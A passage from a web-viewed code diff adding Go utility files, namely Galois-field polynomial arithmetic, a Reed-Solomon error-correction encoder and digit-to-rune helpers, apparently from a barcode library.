largeCoeff, smallCoeff = smallCoeff, largeCoeff
}
sumDiff := make([]int, len(largeCoeff))
lenDiff := len(largeCoeff) - len(smallCoeff)
copy(sumDiff, largeCoeff[:lenDiff])
for i := lenDiff; i < len(largeCoeff); i++ {
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
}
return NewGFPoly(gp.gf, sumDiff)
}
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
if coeff == 0 {
return gp.gf.Zero()
}
size := len(gp.Coefficients)
result := make([]int, size+degree)
for i := 0; i < size; i++ {
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
}
return NewGFPoly(gp.gf, result)
}
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
if gp.Zero() || other.Zero() {
return gp.gf.Zero()
}
aCoeff := gp.Coefficients
aLen := len(aCoeff)
bCoeff := other.Coefficients
bLen := len(bCoeff)
product := make([]int, aLen+bLen-1)
for i := 0; i < aLen; i++ {
ac := int(aCoeff[i])
for j := 0; j < bLen; j++ {
bc := int(bCoeff[j])
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
}
}
return NewGFPoly(gp.gf, product)
}
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
quotient = gp.gf.Zero()
remainder = gp
fld := gp.gf
denomLeadTerm := other.GetCoefficient(other.Degree())
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
degreeDiff := remainder.Degree() - other.Degree()
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
term := other.MultByMonominal(degreeDiff, scale)
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
quotient = quotient.AddOrSubstract(itQuot)
remainder = remainder.AddOrSubstract(term)
}
return
}
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
if coeff == 0 {
return field.Zero()
}
result := make([]int, degree+1)
result[0] = coeff
return NewGFPoly(field, result)
}
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
for len(coefficients) > 1 && coefficients[0] == 0 {
coefficients = coefficients[1:]
}
return &GFPoly{field, coefficients}
}
+44
View File
@@ -0,0 +1,44 @@
package utils
import (
"sync"
)
type ReedSolomonEncoder struct {
gf *GaloisField
polynomes []*GFPoly
m *sync.Mutex
}
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
return &ReedSolomonEncoder{
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
}
}
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
rs.m.Lock()
defer rs.m.Unlock()
if degree >= len(rs.polynomes) {
last := rs.polynomes[len(rs.polynomes)-1]
for d := len(rs.polynomes); d <= degree; d++ {
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
rs.polynomes = append(rs.polynomes, next)
last = next
}
}
return rs.polynomes[degree]
}
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
generator := rs.getPolynomial(eccCount)
info := NewGFPoly(rs.gf, data)
info = info.MultByMonominal(eccCount, 1)
_, remainder := info.Divide(generator)
result := make([]int, eccCount)
numZero := int(eccCount) - len(remainder.Coefficients)
copy(result[numZero:], remainder.Coefficients)
return result
}
+19
View File
@@ -0,0 +1,19 @@
package utils
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
// If the rune is outside of this range -1 is returned.
func RuneToInt(r rune) int {
if r >= '0' && r <= '9' {
return int(r - '0')
}
return -1
}
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
// of this range 'F' is returned!
func IntToRune(i int) rune {
if i >= 0 && i <= 9 {
return rune(i + '0')
}
return 'F'
}
Loaded 100 of 153 files, more files were not shown because too many files have changed in this diff. Show more